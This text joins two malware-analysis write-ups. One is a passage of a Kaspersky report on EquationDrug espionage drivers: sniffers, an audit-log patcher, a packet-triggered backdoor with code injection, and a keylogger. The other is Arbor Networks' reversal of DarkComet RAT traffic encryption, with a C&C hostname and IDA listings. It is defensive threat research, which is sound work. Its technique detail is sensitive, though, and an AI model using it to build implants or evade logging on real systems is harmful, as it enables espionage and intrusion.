MD5 EF4405930E6071AE1F7F6FA7D4F3397D Size 9 728 bytes Compiled 2008.01.23 14:23:10 (GMT) Format PE32 DLL, linker version 6.0 (Microsoft Visual C 6.0) Exported functions (redirected to ANSI variants): 100017EF: CopyFileW 10001039: CreateDirectoryW 10001111: CreateFileW 100011B3: CreateProcessW 10001177: DeleteFileW 10001516: FindFirstChangeNoticationW 10001466: FindFirstFileExW 10001300: FindFirstFileW 100014C6: FindNextFileW 10001564: GetCurrentDirectoryW 1000188F: GetFileAttributesW 100016C6: GetStartupInfoW 10001602: GetSystemDirectoryW 10001664: GetWindowsDirectoryW 10001853: LoadLibraryW 1000178B: MoveFileExW 1000172D: MoveFileW http://securelist.com/blog/research/69203/inside-t... 18 of 30 03/22/2015 10:21 PM 10001913: RegCreateKeyExW 100019F5: RegDeleteKeyW 10001DDF: RegDeleteValueW 10001A39: RegEnumKeyExW 10001BE2: RegEnumValueW 1000199B: RegOpenKeyExW 10001B23: RegQueryInfoKeyW 10001D57: RegSetValueExW 100010D5: RemoveDirectoryW 10001E81: SHGetFileInfoW 100015C6: SetCurrentDirectoryW 100018CB: SetFileAttributesW 10001E23: lstrcmpW Network-sniffer/patcher - atmdkdrv.sys MD5s 8d87a1845122bf090b3d8656dc9d60a8 214f7a2c95bdc265888fbcd24e3587da Size 41 440, 43 840 bytes Format PE32 Native Compiled 2009.04.16 17:19:30 (GMT) 2008.05.07 19:55:14 (GMT) Version Info FileDescription: Network Services LegalCopyright: Copyright (C) Microsoft Corp. 1981-2000 InternalName: atmdkdrv.sys FileDescription: CineMaster C 1.1 WDM Main Driver LegalCopyright: Copyright 1999 RAVISENT Technologies Inc. InternalName: ATMDKDRV.SYS Creates a le storage \SystemRoot\fonts\vgaxa1.fon.
Its rst word is set to 0x21 at the beginning of the DriverEntry function, and is replaced with 0x20 at the end of DriverEntry.
This driver appears to have been put together in quick-and-dirty hack style, using parts of the mstcp32.sys sniffer and other unknown drivers.
It contains a lot of unused code which is partially broken or disabled.
These include a broken Dynamically disable/enable windows audit logging subsystem and an incomplete Patcher mode.
There are three algorithms used for strings encryption - RC5 alphabet encryption like the one used in mstcp32.sys and XOR with a pre-seeded random number generator.
Decrypted strings are immediately encrypted back until the next usage to avoid in-memory detection.
http://securelist.com/blog/research/69203/inside-t... 19 of 30 03/22/2015 10:21 PM The drivers lename and device name differ across the samples.
They depend on the name of the registry key that is used to start the driver.
The driver may operate in one of two independent modes - as a network sniffer or as a memory patcher.
The mode of operation is selected on startup, based on the Cong2 value of the drivers registry key.
By default the driver starts in sniffer mode.
Sniffer mode The sniffer code is similar to the one used in the drivers tdip.sys and mstcp32.sys and uses NT4 NDIS-4, XP NDIS-5 interfaces, targeting incoming trafc on Ethernet and VPN (ndiswanip) interfaces.
It captures only directed packets (containing a destination address equal to the station address of the NIC).
Packers-ltering engine rules may be set via DeviceIoControl messages.
Filtered packets are stored in-memory until requested.
Maximum packets storage list length is 128 items per ltering rule.
Patcher mode Almost broken, it does nothing interesting except, possibly, replace the threads ServiceTable to an unchanged, clear copy taken from the on-disk image of ntoskrnl.exe.
Sniffer only IOCTLs: 44038004 - add ltering rule 44038008 - clear stored packet in specied ltering rules list 4403800C - enable specied ltering rule 44038010 - disable specied ltering rule 44038014 - get stored packet from specied ltering rules list 44038018 - process packet like the one received from the wire (lter and store) 4403801C - set maximum rules list length 44038020 - get maximum rules list length 80000004 - enablePacketsFiltering 80000008 - disablePacketsFiltering (PauseSniffer) 800024B4 - send packet to the specied network interface Common IOCTLs: 80000028 - do nothing (broken/unused part) 80000038 - set external object (broken/unused part) 8000003C - get 4 dwords struct (broken/unused part) 80000040 - copy 260 bytes from the request (broken/unused part) 80000320 - set I/O port mapping (broken/unused part) 80000324 - clear I/O port mapping (broken/unused part) 80000328 - set external PnP Event (broken/unused part) 80000640 - replace specied threads SDT (ETHREAD.ServiceTable eld) to a given copy http://securelist.com/blog/research/69203/inside-t... 20 of 30 03/22/2015 10:21 PM Backdoor driven by network sniffer - mstcp32.sys, fat32.sys MD5s 74DE13B5EA68B3DA24ADDC009F84BAEE B2C7339E87C932C491E34CDCD99FEB07 311D4923909E07D5C703235D83BF4479 21C278C88D8F6FAEA64250DF3BFFD7C6 Size 57 328 - 57 760 bytes Format PE32 Native Compiled 2007.10.02 12:42:14 (GMT) 2001.08.17 20:52:04 (GMT) Version Info FileDescription: TCP/IP driver LegalCopyright: Copyright (C) Microsoft Corp. 1981-1999 InternalName: mstcp32.sys This is a sniffer tool similar to tdip.sys and it uses NT4 NDIS-4, XP NDIS-5 interfaces.
It targets incoming trafc on Ethernet and VPN (ndiswanip) interfaces, but instead of dumb packet dumping, it uses received packets as commands for the process injector subsystem that is able to extract and execute code from the specially crafted network packets.
Default ltering rules are stored in the Options registry value of the drivers registry key.
It captures only directed packets (containing a destination address equal to the station address of the NIC).
The drivers lename and device name differ across the samples.
They depend on the name of the registry key that is used to start the driver.
Code Patcher The driver patches OS code to dynamically disable or enable Windows audit logging.
It patches the function LsapAdtWriteLog in lsasrv.dll module of the lsass.exe process.
It searches for pre-dened signatures of the function LsapAdtWriteLog of known Windows versions - 4.0, 5.0, 5.1, 5.2 (NT4, Win2000, XP, WinSrv2003).
Then it selects a corresponding offset to replace the opcodes: jz to never taken jo in case of XP jmp over inner logic to procedure epilog in case of Windows Server 2003 so LsapAdtWriteLog skips logging of audit records The module also patches SepAdtLogAuditRecord inside ntoskrnl.exe to retn 4 instead of the rst opcode of the function.
http://securelist.com/blog/research/69203/inside-t... 21 of 30 03/22/2015 10:21 PM The disabled audit can be restored after a timeout or on-event by a dedicated thread.
Expected IOCTL codes: 80000004 - setFilteringRules 80000008 - disablePacketsFiltering (PauseSniffer) 80000028 - do nothing (possible broken GetDriverName) 80000038 - disable_audit 8000003C - enable_audit Code Injector The code-builder within this module facilitates exploitation by providing up to four predened execution templates, which seem to be suitable for generating several code patterns.
Below is a list of the execution templates we found: locate a DLL via PEB structure and resolve exports call single function call four functions call six functions Using these as a base for the templates, the code-builder inserts parameters and proper offsets to call one of the following code patterns: Locate and call WinExec Locate and call LoadLibraryW, GetProcAddress, call exported procedure, FreeLibrary Locate and call LoadLibraryW, GetProcAddress, call GetModuleHandle, FreeLibrary Locate and call OpenProcess, VirtualAllocEx, WriteProcessMemory, CreateRemoteThread, VirtualFreeEx, CloseHandle The code injection procedure allocates memory via ZwAllocateVirtualMemory in services.exe and copies implanted code.
After that it uses KeInsertQueueApc to let the code run and waits 30 seconds for APC to complete.
When the module starts, it reads registry value [HKLM\System\CurrentControlSet\Services\driver name] Processes.
This value may contain a list of process names that should be started by injected executable code but only after services.exe and winlogon.exe has been started.
The injection of code into winlogon.exe and services.exe ensures that the newly started process will have SYSTEM user privileges.
During the injection stage Windows Audit Logging is fully disabled to avoid leaving any suspicious records in Windows Logs.
Magic Packet Recognition http://securelist.com/blog/research/69203/inside-t... 22 of 30 03/22/2015 10:21 PM All incoming packets are rst ltered by BPF-like rules.
The ltering rules are located in [HKLM\System \CurrentControlSet\Services\driver name] Options registry value or passed via corresponding IOCTL.
Packets that passed through the lter are added in the end of processing queue.
Packets from the queue must have valid checksum values.
After checking that, the code XOR-decrypts additional data from the end of the packet.
The decrypted end of the packet contains another control structure that denes which encryption algorithm is used to decipher packet body.
Supported algorithms include RC5 and RSA.
There is a 1024-bits RSA public key hardcoded inside the module body, while a 96-bits RC5 key is generated dynamically.
The backdoor command may arrive in a single packet or be split into pieces and come with several packets.
There is a procedure for re-assembling pieces together: a multi-packet command is added to a special packet collector which puts all the pieces together before passing it further.
Backdoor command is stored in the rst byte of the decrypted request and can be one of the following values: Command Byte Short Name Description 0 StatusCheck Reply with encrypted DriverName, packet collector keys, Processes and Params registry values, names of processes for code injection (defaults are services.exe and winlogon.exe), list of unprocessed commands from packet collector.
1 Panic Disable packet ltering, securely delete driver le, clear related registry keys, set ClearPageFileAtShutdown ag, unbind adapters, delete devices and prepare for unloading.
However, the driver cannot unload itself and it remains in the memory until reboot, which means it can be detected via DRIVER_OBJECT structure.
2 CodeInject Injects code implant received from packet body.
3 CallWinExec Disable Windows Audit and start new process via standard code injection in Winlogon.exe.
4 ResetCollector Drop all packets with specic key from packet collector.
5 Unused or disabled 6 GenerateRC5Key Generates RC5 session key.
96-bits RC5 key is generated by taking a SHA1 hash of value from KeTickCount, XOR-encrypt with SHA1 hash of two PerformanceFrequency values, which is followed by nine more additional SHA1 hashing.
7 SetRegProcesses Sets new Processes registry value.
8 DeleteRegProcesses Deletes current Processes registry value.
9 SetRegParams Sets a universal Params registry value which is used for storing any information, i.e.
could be a unique victim marker or exploitation stage http://securelist.com/blog/research/69203/inside-t... 23 of 30 03/22/2015 10:21 PM number.
a Unused or disabled b Ping Reply with classic ICMP Echo Response packet.
c ChangeInjectTarget Set new target injection processes (defaults are Winlogon.exe and Services.exe).
Effective until reboot.
Note: mstcp32 is mentioned together with rootkit-like behavior in 2004 here: http://www.pcreview.co.uk /forums/mstcp32-t1445152.html[21] Network Sniffer - tdip.sys MD5s 20506375665a6a62f7d9dd22d1cc9870 60dab5bb319281747c5863b44c5ac60d Size 22448 - 28800 bytes Format PE32 Native Compiled 2006.10.16 18:42:40 (GMT) 2003.08.17 21:47:33 (GMT) Supports the following versions of Windows: NT4 using NDIS-4 and XP using NDIS-5.
Doesnt use Vista and later NDIS-6 features.
However, later NDIS versions are backward-compatible, so the driver is still valid for current versions of Windows.
Version Info: FileDescription: IP Transport Driver LegalCopyright:  Microsoft Corporation.
All rights reserved.
FileVersion: 5.1.2600.2180 InternalName: tdip.sys This driver is a packet sniffer for incoming-only trafc on Ethernet and VPN (ndiswanip) interfaces or any used with ms_pschedmp as an alternative connection.
It implements a BPF (Berkeley packet lter) style packet-ltering system that is congured from the drivers registry conguration values or from DeviceIoControl messages.
The captured network packets may be written to disk in libpcap format (magic 0xA1B2C3D4 version 2.4) and encrypted with one-byte XOR, key 0xE3.
The drivers conguration is stored in the registry key: [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\tdip] Options - packet ltering rules in BPF format http://securelist.com/blog/research/69203/inside-t... 24 of 30 03/22/2015 10:21 PM Tag - selector of ltered packet types / Defaults in case of MediumWan to NDIS_PACKET_TYPE_BROADCASTNDIS_PACKET_TYPE_MULTICASTNDIS_PACKET_TYPE_DIRECTED (or NDIS_PACKET_TYPE_BROADCASTNDIS_PACKET_TYPE_DIRECTED in any other case) ImageFile - full path name to the resulting pcap le Duration - used as Length of the original packet in dump le.
(
default 0xffff) Backup - max size of the pcap le IOCTLs: 0x80002004 getCurrentState 0x80002008 setFilteringRules 0x8000200C getFilteringRules 0x80002024 getDumpFileSize 0x80002010/0x80002014/0x80002018/0x8000201C pause/resume 0x80002020 getVersion - returns 2.4.0 Driver has three logical parts, and uses an incomplete function pointer table as interface: Business logic: ltering rules, packet dumping, device ioctl, options1.
Ndis driver skeleton2.
Primitives lib: Strings, XORing, registry I/O3.
The code is of very good quality.
It looks more complicated than Winpcap 2.3 (released 28 mar 2002), but less so than Winpcap 3.0 (released by 10 apr 2003).
Interestingly, the driver identies itself as version 2.4 in the pcap le despite there being no Winpcap version 2.4.
Key/clipboard logger driver - msrtvd.sys MD5s 98dea1bce37bf7087360e1958400589b bb8f56874189d5dfe9294f0553a49b83 f6bf3ed3bcd466e5fd1cbaf6ba658716 Size 31 488 - 36 736 bytes Format PE32 Native Compiled 2010.02.19 22:45:18 (GMT) 2008.09.17 16:23:54 (GMT) Version Info FileDescription: MSRTvd interface driver LegalCopyright:  Microsoft Corporation.
All rights reserved.
InternalName: msrtvd.sys This is a keylogger and clipboard monitoring tool.
On startup, the driver creates a device named \Device\Gk0 and a symbolic link named http://securelist.com/blog/research/69203/inside-t... 25 of 30 03/22/2015 10:21 PM \DosDevices\Gk.
Then it attaches to the csrss.exe process and disassembles user32.dll and ntdll.dll routines to obtain win32k.sys and ntoskrnl.exe SDT services indexes and pointers of needed Nt/Zw APIs.
Then, using a built-in disassembler, it obtains pointers to NtUserPeekMessage, NtUserGetMessage, NtUserGetClipboardData and using the disassembler again selects the parts of the code that will be then hooked by splicing.
The interceptor routines are copied from a special PE section named .msda.
These routines are able to collect key press chains and clipboard text data, add information about current Time, ProcessName, ForegroundWindowText,and UserName related to this event.
A dedicated thread (dumper) gathers the collected data, compresses the results with LZO appends it every 30 minutes to a le system-wide TEMP\tm154o.da.
Most strings inside are encrypted by XOR with a pre-seeded random number generator.
IOCTLs: 0x22002C -start dumper thread 0x220030 - stop dumper thread 0x220034 - check if the driver has new data to dump 0x220038 - set two external events signaled on dump data availability (it references a plugin possibility) 0x22003C - restart dumper thread 0x220040 - get size of available data Collector plugin for Volrec - msrstd.sys MD5s 69e7943f3d48233de4a39a924c59ed2c 15d39578460e878dd89e8911180494ff Size 13 696 - 17 408 bytes Format PE32 Native Compiled 2009.06.05 16:21:55 (GMT) 2009.12.15 16:33:52 (GMT) Version Info FileDescription: msrstd driver LegalCopyright:  Microsoft Corporation.
All rights reserved.
InternalName: msrstd.sys This driver is a plugin that collects events from the volrec.sys driver, and delivers them by sending DeviceIoControl messages.
It collects events about le and disk volume operations.
http://securelist.com/blog/research/69203/inside-t... 26 of 30 03/22/2015 10:21 PM On startup the driver obtains a pointer to \Device\volrec, then creates a control device \Device \msrstd0 and a symbolic link to it named \DosDevices\msrstd All strings inside the driver are encrypted by XOR with a pre-seeded random number generator.
For le events the driver collects the lenames, and caches data about read and write operations.
For disk volume events it queries disk properties and reads volume labels and disk serial numbers of removable drives (USB, FireWire drives).
IOCTLs: 0x220004 - turn on VolumeEvents collection 0x220008 - turn off VolumeEvents collection 0x22000C - retrieve previously stored VolumeEvent (operationType, deviceTypeFlags, VolumeLabel, volumeSerialNumber, DosDriveLetter) 0x220010 - turn on FileEvents collection 0x220014 - turn off FileEvents collection 0x220018 - retrieve previously stored FileEvent (leName, deviceTypeFlags, VolumeLabel, volumeSerialNumber, DosDriveLetter) 0x22001C - connect to Volrec.sys (send ioctl 0x220004), enable plugin operation 0x220020 - disconnect from Volrec.sys (send ioctl 0x220008), disable plugin operation Filesystem lter driver  volrec.sys, scsi2mgr.sys MD5s a6662b8ebca61ca09ce89e1e4f43665d c17e16a54916d3838f63d208ebab9879 Size 14 464-14 848 byres Format PE32 Native Compiled 2009.06.05 16:21:57 (GMT) 2009.12.15 16:33:57 (GMT) Version Info FileDescription: Volume recognizer driver LegalCopyright:  Microsoft Corporation.
All rights reserved.
InternalName: volrec.sys This driver is a generic lesystem lter which feeds system events to user-mode plugins.
On startup the driver creates a control device named \Device\volrec and a symbolic link to it named \DosDevices\volrec0.
It then attaches all available lesystem devices.
It is also, able to handle removable storage devices.
All strings inside the driver are encrypted by XOR with a pre-seeded random number generator.
http://securelist.com/blog/research/69203/inside-t... 27 of 30 03/22/2015 10:21 PM IOCTLs: 0x220004 - setup plugin interface 0x220008 - disable plugin calls The driver handles the following system events: le opened, created or closed data is read or written to a le new volume is mounted, unmounted new USB or FireWire device attached HDD/SSD operation helper driver - WIN32M.SYS MD5s 2b444ac5209a8b4140dd6b747a996653 b3487fdd1efd2d1ea1550fef5b749037 Size 19 456 - 26 631 bytes Format PE32 Native, PE32 Native Compiled 2001.08.23 17:03:19 (GMT) 2013.05.14 15:58:36 (GMT) Description This module will be the subject of a dedicated blogpost.
HDD/SSD rmware operation - nls_933w.dll MD5s 11fb08b9126cdb4668b3f5135cf7a6c5 9f3f6f46c67d3fad2479963361cf118b Size 212 480 - 310 272 bytes Format PE32 DLL, PE32 DLL Compiled 2010.06.15 16:23:37 (GMT) 2013.05.14 16:12:35 (GMT) Version Info (64bit dll only) FileDescription: Windows Networking Library LegalCopyright: Copyright (C) Microsoft Corp. 1981-2001 FileVersion: 80AA InternalName: nls_933w.dll OriginalFilename: nls_933w.dll PrivateBuild: 4.0.1.0 ProductName: Microsoft(R) Windows (R) 2000 Operating System ProductVersion: 5.0.2074.0 Full Version: 1.0.0.1 http://securelist.com/blog/research/69203/inside-t... 28 of 30 03/22/2015 10:21 PM http://securelist.com/blog/research/68750/equation-the-death-star-of-malware-galaxy/1.
https://securelist.com/les/2015/02/Equation_group_questions_and_answers.pdf2.
https://twitter.com/share?urlhttp3A2F2Fsecurelist.com2Fblog2Fresearch2F692032Finside- the-equationdrug-espionage-platform2F textEquationDrugrepresentsthemainespionageplatformfromthe23EquationAPTGroup 3.
http://securelist.com/blog/research/67741/regin-nation-state-ownage-of-gsm-networks/4.
http://securelist.com/analysis/publications/65545/the-epic-turla-operation/5.
https://twitter.com/share?urlhttp3A2F2Fsecurelist.com2Fblog2Fresearch2F692032Finside- the-equationdrug-espionage-platform2F textTheplatformincludesexecutables2Ccongurationsandprotectedstoragelocations23EquationAPT 6.
http://cdn.securelist.com/les/2015/03/EquationDrug_1.jpg7.
http://cdn.securelist.com/les/2015/03/EquationDrug_1.jpg8.
https://twitter.com/share?urlhttp3A2F2Fsecurelist.com2Fblog2Fresearch2F692032Finside- the-equationdrug-espionage-platform2F textThehypothesisthattheseattackershavebeenactivesincethe90sseemsrealistic23EquationAPT 9.
https://twitter.com/share?urlhttp3A2F2Fsecurelist.com2Fblog2Fresearch2F692032Finside- the-equationdrug-espionage-platform2Ftext86moduleshaveyettobediscovered23EquationAPT 10.
http://cdn.securelist.com/les/2015/03/EquationDrug_2.jpg11.
http://cdn.securelist.com/les/2015/03/EquationDrug_2.jpg12.
http://cdn.securelist.com/les/2015/03/EquationDrug_3.jpg13.
http://cdn.securelist.com/les/2015/03/EquationDrug_4.jpg14.
http://cdn.securelist.com/les/2015/03/EquationDrug_4.jpg15.
http://cdn.securelist.com/les/2015/03/EquationDrug_5_1.jpg16.
https://twitter.com/share?urlhttp3A2F2Fsecurelist.com2Fblog2Fresearch2F692032Finside- the-equationdrug-espionage-platform2F textThetimestampsmatchtheworkingdaysofsoftwaredeveloperfromtimezoneUTC-3orUTC- 423EquationAPT 17.
https://twitter.com/share?urlhttp3A2F2Fsecurelist.com2Fblog2Fresearch2F692032Finside- the-equationdrug-espionage-platform2F textTheEquationDrugcasedemonstratesaninterestingtrend3Aagrowthincodesophistication23EquationAPT 18.
https://twitter.com/share?urlhttp3A2F2Fsecurelist.com2Fblog2Fresearch2F692032Finside- the-equationdrug-espionage-platform2FtextNation- stateattackerscreateautomaticsystemsinfectingonlyselectedusers23EquationAPT 19.
https://twitter.com/share?urlhttp3A2F2Fsecurelist.com2Fblog2Fresearch2F692032Finside-20.
Description This (80AA) plugin is a HDD rmware ashing tool which includes an API and the ability to read/write arbitrary information into hidden sectors on the disk.
The plugin will be the subject of a separate blogpost.
http://securelist.com/blog/research/69203/inside-t... 29 of 30 03/22/2015 10:21 PM the-equationdrug-espionage-platform2FtextNation- stateattackersusearemotesystemmanagementtoolthatcancopyanyinformationtheyneed23EquationAPT http://www.pcreview.co.uk/forums/mstcp32-t1445152.html21.
http://securelist.com/blog/research/69203/inside-t... 30 of 30 03/22/2015 10:21 PM
Its not the end of the world: DarkComet misses by a mile Reversing the DarkComet RATs crypto- 3/13/2012 Jeff Edwards, Research Analyst, Arbor Networks ASERT In this article, we will continue our series on reversing DDoS malware crypto systems.
Previous subjects have included Armageddon, Khan (now believed to be a very close cousin of Dirt Jumper version 5), and PonyDOS.
Today well be diving deep into the details of DarkComets crypto.
Over the last several months, we have encountered a large number of DarkComet samples, numbering well over a thousand.
DarkComet is primarily a general purpose remote access trojan (RAT).
Its capabilities support quite an extensive laundry list of mischief, including but not limited to key logging, web cam (and sound card) spying, deleting victim files, scanning ports, hijacking MSN sessions, etc.
Figure 1.
Dark Comets pretty logo http://ddos.arbornetworks.com/2012/03/its-2012-and-armageddon-has-arrived/ http://ddos.arbornetworks.com/2012/03/kahn/ http://ddos.arbornetworks.com/2012/03/not-just-a-one-trick-ponydos/ Arbor Networks    2 Of course the malware includes DDoS capabilities as well - hence our interest in reversing its communications so that we can keep tabs on whom the DarkComet botnets are attacking.
In fact, it is believed to have been used as a DDoS weapon by supporters of the Syrian regime against opposition forces in the recent Syrian uprisings TrendMicro has a nice article /on this topic.
DarkComet has been studied by a number of researchers.
In particular, in November 2011 Laura Aylward of Contextis published an excellent analysis [http://www.contextis.com/research/blog/darkcometrat/ ] of Dark Comet in which she described the basic cryptographic mechanism used by DarkComet bots to hide their communications Lauras analysis saved us a considerable amount of time.
It was also included in Curt Wilsons recent survey of modern DDoS weapons .
The DarkComet sample upon which we will primarily focus on today is 462,848 bytes in size and has an MD5 hash of 63f2ed5d2ee50e90cda809f2ac740244.
It happens to be an instance of DarkComet Version 4.2 however, the results presented here apply to most other versions of DarkComet as well.
When executed in a sandbox, we observed it connecting to a command  control (CC) server at newrat2.no- ip.org on TCP port 1604.
The RAT uses a raw TCP protocol to exchange information with its CC on the wire, the comms look something like this (modified and re-encrypted to protect some of our sensitive sandbox information): CC: 155CAD31A61F Bot: 0F5DAB3EB308 CC: 1B7D8D3BBF14C6B619480C265C2F4664F9DCB878EA7DFC6F2637 Bot: 35769F079329B4E04603496A432E5A7CFC90A477F478F07A3826A1B436AB92852B685636 F72B52C56D70434D7691F3307D637118B869586A1D19FD15B8C6AE14F8F8C57EFAFCCC09 964E8EE8EED553886AB188665F1AB96586F4F2581C093E75DCF2A8ADC817558BF3452344 0CDBE43CA4C05AC6E8D90D00F35BE795A44AE0E2EDE36C061EAEBD754461F680DBD9893A CF6211698AF22B0BBB92A9B47363AE86E69A08C29DD3DBA59D287E4A0E12664B312A81C0 E9FE4D6E538AB5CC8952CCB372869F57D168CE8ABB52B8D7F8E78547A5EB009931735868 http://blog.trendmicro.com/darkcomet-surfaced-in-the-targeted-attacks-in-syrian-conflict/ http://www.contextis.com/research/blog/darkcometrat/ http://ddos.arbornetworks.com/2012/02/ddos-tools/ Arbor Networks    3 ADEC6BA2B73A94C7A9A6784B1A81C58CF746D384B645DD02D4616479A055420DADEF0458 658A33EEA62BF7F12ABF1C0E00CB6B971869FBC275A3270E8DEBFA20E53E8C3BC6CA2744 A88897E0B16FBBDCAA731B93A72D75FF6DC297 Bot: KEEPALIVE144357 Bot: C: KEEPALIVE160360 CC: S: KeepAlive27120274 Bot: C: KEEPALIVE176363 Bot: C: KEEPALIVE192366 CC: S: KeepAlive27160288 Figure 2.
Example of DarkComets encrypted comms These communications are consistent with those reported by Contextis in their DarkComet report.
It certainly looks like an initial phone home exchange of information, after which the bot and CC send periodic Keep Alive messages to each other.
Besides being encrypted, this protocol is somewhat unusual in that the CC sends the first payload it is much more common for the bot to send the first payload.
So in order to develop a tracker that impersonates a DarkComet bot so as to snoop on DDoS attacks, we need to reverse the malwares crypto system and write decryption and encryption routines in Python.
Lets start reversing by loading a process memory dump of the running bot in IDA Pro.
Well then start poking around looking for routines that might implement the phone home protocol.
Since DarkComet clearly uses raw TCP for communication (as opposed to, say, HTTP), well focus on finding WinSock2 calls such as socket(), connect(), send(), and recv().
Well, it turns out that the bot is riddled with vast numbers of WinSock2 calls not surprising, since DarkComet has a great deal of RAT functions that require network communication.
So to narrow down on the actual bot-CC comms loop, we http://www.contextis.com/research/blog/darkcometrat/ http://www.hex-rays.com/products/ida/index.shtml Arbor Networks    4 locate the lengthy list of command strings, such as KeylogOn, GetOfflineLogs, WEBCAMLIVE, GetMsnList, DDOSHTTPFLOOD, etc.
In particular, we note that all these command strings are referenced from the same function.
Furthermore, this function is structured as a very long sequence of if-else statements that compare each of these command strings against the same buffer.
Even better, there is only a single caller of this function.
Hmmm, that certainly sounds like the bots primary command dispatch routine well call it DispatchCommands_sub_493DAC().
Checking out the caller function, we see that it operates in a loop.
On each iteration through the loop, it basically performs the following actions: 1.
Calls recv() to read network traffic into a buffer 2.
Performs some copies and operations on this buffer to produce an intermediate buffer 3.
Performs an operation (decryption perhaps?)
on the intermediate buffer and a global string to produce a final buffer 3.
Passes the final buffer to the aforementioned DispatchCommands_sub_493DAC() function Yes, this sounds like the main comms loop for which we are looking well name this caller function MainCommsLoop_sub_493A30(), and focus our attention on the aforementioned loop: Arbor Networks    5 Arbor Networks    6 Figure 3.
Function MainCommsLoop_sub_493A30() It definitely looks like a great candidate for the decryption operation.
It follows the general structure that is quite common among bot families that encrypt their comms namely, a pre-processing operation applied to a buffer, followed by the actual decryption step.
In particular, one strong clue is that the (assumed) decryption step takes a third argument which, in this case, is a reference to a global string - very likely to be the decryption key string So first lets see what our (tentatively named) DecryptCommandBuffer_sub_44C628() function looks like.
DarkComet being a Delphi-based bot, the decryption function is passed the source (encrypted) buffer in EAX, the (presumed) crypto key in EDX, and an output string buffer in ECX.
After checking to make sure neither the source nor key strings are empty, the function gets down to business.
The first substantive operation is to pass the raw (encrypted) source buffer src_buf_var_4 via EAX, along with an output buffer temp_buf_var_420 via EDX, to function sub_44C1C0() the output buffer is then copied back into the original source buffer src_buf_var_4: Figure 4.
Function DecryptCommandBuffer_sub_44C628() Arbor Networks    7 So sub_44C1C0() seems like it might be doing some pre-processing on the encrypted source buffer lets see what kind of pre-processing it is doing.
Skipping past the obligatory checks for empty source buffers, etc.,
we arrive at some code that loops over the source buffer, referenced by src_buf_var_4 however, it makes only one loop iteration for every two bytes in src_buf_var_4.
This is accomplished by extracting the DWORD just in front of the source string and shifting it one bit to the right, in order to calculate the number of pairs of source characters: Figure 5.
Function PreProcess_sub_44C1C0() Arbor Networks    8 This works because in Delphi, the AnsiString class stores its length at an offset of 4 bytes in front of the first actual byte of string content: Figure 6.
Structure of a Delphi AnsiString For example, in the case of the initial encrypted payload received by the bot from the CC, 155CAD31A61F , the length of the source buffer is 12, so the code will make only 6 iterations through the loop.
On each iteration of the loop, DarkComet will process a pair of two source bytes to yield one output byte.
The first operation inside the loop is to test whether or not the value of the first source byte in the pair is greater than 0x39, and branch accordingly.
After using the one-based index EBX to pull out the first of the two source bytes in the pair, it adds 0xD0, subtracts 0x0A, and then tests whether the resulting value is greater than or equal to zero.
Since it is operating on the 8-bit register AL, the result is that source bytes with values of 0x3A or greater will be processed by one branch, and those with values of 0x39 and less will be processed by a second branch: Arbor Networks    9 Figure 7.
Function PreProcess_sub_44C1C0() If the first source byte in the pair has value 0x39 or less, the bot will subtract 0x30 from it and save the result to the current index within the output buffer: Arbor Networks    10 Figure 8.
Function PreProcess_sub_44C1C0() In other words, it will convert the ASCII representations (0x30, 0x31, ..., 0x39) of the digits 0 through 9 into their equivalent integer representations (0x00, 0x01, ..., 0x09).
The second branch performs a similar operation: it first tests to make sure that the value of the source byte is not 0x47 or greater (in which case it will immediately bail out of the loop and jump to the end of the PreProcess_sub_44C1C0() function.)
It will then subtract 0x37 from the source byte and save the result into the current index within the output buffer: Arbor Networks    11 Figure 9.
Function PreProcess_sub_44C1C0() Arbor Networks    12 In other words, it will convert the ASCII representations (0x41, 0x42, ..., 0x46) of the upper-case letters A through F into their equivalent hexadecimal representations (0x0A, 0x0B, ..., 0x0F).
The two branches (for handling digits and upper-case A through F) will then re-join, and the resulting integer/hexadecimal representation of the first source byte will be left-shifted by four (thus multiplying it by 16): Figure 10.
Function PreProcess_sub_44C1C0() At this point, it is pretty clear what is going on.
The PreProcess_sub_44C1C0() function is converting the ASCII representation of the source string of bytes into the equivalent hexadecimal representation.
This conjecture is confirmed upon inspection of the remaining portion of the loop, which applies the same ASCII-to-hex operation on the second byte of each pair of source bytes, and adds the result to the left-shifted output from the first byte of the pair.
So at the end of the day, the first line of raw encrypted source payload from the CC is pre-processed from the 12-character ASCII string 155CAD31A61F to its equivalent sequence of six hexadecimal bytes 0x15 0x5C 0xAD 0x31 0xA6 0x1F, as follows: src index 0 1 2 3 4 5 6 7 8 9 10 11 src (ASCII) 1 5 5 C A D 3 1 A 6 1 F src (raw) 0x31 0x35 0x35 0x43 0x41 0x44 0x33 0x31 0x41 0x36 0x31 0x46 src (hex) 0x01 0x05 0x05 0x0C 0x0A 0x0D 0x03 0x01 0x0A 0x06 0x01 0x0F shifted 0x10  0x50  0xA0  0x30  0xA0  0x10 dst 0x15 0x5C 0xAD 0x31 0xA6 0x1F Arbor Networks    13 Figure 11.
ASCII to Integer Conversion So we will rename this function as Integerize_sub_44C1C0(), and head back to the main DecryptCommandBuffer_sub_44C628() function to continue reversing the crypto algorithm.
After the raw source buffer has been converted from ASCII form to integer form, the next substantive code block initializes a 256-element array stable_var_41C: Arbor Networks    14 Figure 12.
Function DecryptCommandBuffer_sub_44C628() Each element in stable_var_41C is a 32-bit DWORD the elements are initialized to the values 0x00000000 through 0x000000FF in ascending order: Index ESI 0 1 2 3 4 ... 253 254 255 Value subst_var_41C[ESI] 0x00 0x01 0x02 0x03 0x04 ... 0xFD 0xFE 0xFF Figure 13.
Initial state of substitution table stable_var_41C At this point, we can guess that stable_var_41C is going to play the role of a substitution table for decrypting the source buffer src_buf_var_4, so lets see how DarkComet builds this table.
After initializing the substitution table to hold all the values between 0x00 and 0xFF in a nice ascending order, it proceeds to vigorously scramble up the elements of the table.
It makes 256 iterations through a loop on each iteration, it swaps the positions of two of the elements in the substitution table.
On the kth iteration, one of the swapped elements is always the kth element, which is pointed to by register ECX the other is chosen based on the key string.
The core of the loop that scrambles up the substitution table is as follows: Arbor Networks    15 Arbor Networks    16 Figure 14.
Function DecryptCommandBuffer_sub_44C628() The first code block in the above IDA listing chooses which element of stable_var_41C should be swapped with the k th element.
It uses an accumulator variable, implemented by register EBX and initialized to zero.
On each pass through the loop, it updates the acccumulator EBX by adding to it the value of the k th element of stable_var_41C and the value of the current key string byte.
One byte of key string is used per iteration, and whenever the key string is used up, it restarts again at the beginning of the key register EDI holds the length of the key string, so the bot just computes k modulo EDI (at instruction 0x0044C767) to choose which byte of the key to use on the k th iteration.
The last code block performs the actual swapping, using swap_temp_var_15 as the temporary variable to do the swap.
